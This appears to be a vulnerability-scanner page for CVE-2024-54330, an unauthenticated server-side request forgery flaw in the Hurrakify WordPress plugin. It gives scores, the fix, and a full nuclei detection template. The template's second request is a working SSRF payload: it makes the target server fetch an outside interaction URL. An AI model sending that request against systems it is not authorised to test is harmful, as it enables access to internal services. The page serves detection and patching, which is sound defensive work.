Hurrakify <= 2.4 - Server-Side Request Forgery

highseverity

7.2CVSS score

1.5%likelihood of exploitation, next 30 days

74%of all CVEs are less likely

Readycheck to confirm it

The Hurrakify plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.4. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services.

Impact

Unauthenticated attackers can make arbitrary HTTP requests from the server to internal or external services, potentially accessing internal resources or performing port scanning.

Fix

Update Hurrakify plugin to version 2.5 or later to address the SSRF vulnerability.

How to confirm it

Send: GET /
Positive when: contains(body, "/wp-content/plugins/hurrakify") and status_code == 200
Send: GET /wp-admin/admin-ajax.php?action=hurraki_tooltip_proxy&target=http://{{interactsh-url}}
Positive when: contains in interactsh_protocol "http" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2024-54330 -u <target>

The full check

id: CVE-2024-54330

info:
  name: Hurrakify <= 2.4 - Server-Side Request Forgery
  author: s4e-io
  severity: high
  description: |
    The Hurrakify plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.4. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services.
  impact: |
    Unauthenticated attackers can make arbitrary HTTP requests from the server to internal or external services, potentially accessing internal resources or performing port scanning.
  remediation: |
    Update Hurrakify plugin to version 2.5 or later to address the SSRF vulnerability.
  reference:
    - https://github.com/RandomRobbieBF/CVE-2024-54330
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/hurrakify/hurrakify-24-unauthenticated-server-side-request-forgery
    - https://nvd.nist.gov/vuln/detail/CVE-2024-54330
    - https://patchstack.com/database/wordpress/plugin/hurrakify/vulnerability/wordpress-hurrakify-plugin-2-4-server-side-request-forgery-ssrf-vulnerability?_s_id=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2024-54330
    cwe-id: CWE-918
    epss-score: 0.01474
    epss-percentile: 0.74035
  metadata:
    verified: true
    max-request: 2
    vendor: by_hep_hep_hurra
    product: hurrakify
    framework: wordpress
    fofa-query: body="wp-content/plugins/hurrakify"
    shodan-query: http.html:"wp-content/plugins/hurrakify"
  tags: cve,cve2024,wordpress,wp-plugin,hurrakify,ssrf,oob,oast,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins/hurrakify")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin-ajax.php?action=hurraki_tooltip_proxy&target=http://{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - 'http'

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from